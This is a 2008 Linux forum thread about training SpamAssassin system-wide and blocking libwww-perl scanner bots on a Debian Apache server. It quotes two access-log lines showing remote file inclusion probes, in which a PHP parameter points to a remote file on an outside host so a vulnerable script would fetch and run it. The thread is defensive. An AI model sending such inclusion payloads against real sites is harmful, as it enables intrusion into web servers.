Go Back   HowtoForge Forums | HowtoForge - Linux Howtos and Tutorials > Linux Forums > Server Operation

Do you like HowtoForge? Please consider supporting us by becoming a subscriber.
Reply
 
Thread Tools Display Modes
  #1  
Old 28th May 2008, 10:27
trashed trashed is offline
Junior Member
 
Join Date: May 2008
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Default Training SA & libwww-perl bots

Hi.
I have installed a mailserver following falko's tutorial for postfix+mysql+quota+courier but now I wanted to train spamassassin to have less FP's on the type of spam I am usually target of. I have already more than 3000 messages that are 100% spam & phishing.
Anyway, I googled around a bit but all I found was ways to train the filter on a per-user basis while I wanted to do it system-wide (so that SA will use that filter for every mailbox). How can I accomplish that?
(note: I am running amavis-new + SA)

Another problem I am currently having is the endless attacks from libwww-perl bots that scan my php scripts for vulnerabilities:

Code:
63.243.44.3 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.79"
196.40.2.126 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.65"

I read something around on how to block this type of user-agent but apache2 on debian has a split configuration and I'm not really sure how to implement this. Should I use the rules in every virtualhost that I am using?
If so, can I have an example?
Reply With Quote
Sponsored Links
  #2  
Old 29th May 2008, 17:47
falko falko is offline
Super Moderator
 
Join Date: Apr 2005
Location: Lüneburg, Germany
Posts: 41,701
Thanks: 1,900
Thanked 2,726 Times in 2,565 Posts
 
Default

Quote:
Originally Posted by trashed View Post
Hi.
I have installed a mailserver following falko's tutorial for postfix+mysql+quota+courier but now I wanted to train spamassassin to have less FP's on the type of spam I am usually target of. I have already more than 3000 messages that are 100% spam & phishing.
Anyway, I googled around a bit but all I found was ways to train the filter on a per-user basis while I wanted to do it system-wide (so that SA will use that filter for every mailbox). How can I accomplish that?
(note: I am running amavis-new + SA)
You could put all spam in one mailbox and then use a command like this:

Code:
sa-learn --no-sync [--spam or --ham] --mbox [folder]
Quote:
Originally Posted by trashed View Post
Another problem I am currently having is the endless attacks from libwww-perl bots that scan my php scripts for vulnerabilities:

Code:
63.243.44.3 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.79"
196.40.2.126 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.65"

I read something around on how to block this type of user-agent but apache2 on debian has a split configuration and I'm not really sure how to implement this. Should I use the rules in every virtualhost that I am using?
If so, can I have an example?
Take a look here: http://www.cyberciti.biz/tips/the-ri...bwww-perl.html
__________________
Falko
--
Download the ISPConfig 3 Manual! | Check out the ISPConfig 3 Billing Module!

FB: http://www.facebook.com/howtoforge

nginx-Webhosting: Timme Hosting | Follow me on:
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
perl locale settings luchs3 Installation/Configuration 1 27th May 2008 13:08
Runaway Perl aws910 Server Operation 2 19th November 2007 17:24
Perl error message namit Programming/Scripts 12 11th October 2007 13:40
Perl and cgi script installation linuxuser1 General 30 26th April 2006 23:09
Perl non-printable chars and unwanted formatting spinoza Programming/Scripts 4 1st April 2006 20:30


All times are GMT +2. The time now is 11:44.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2014, vBulletin Solutions, Inc.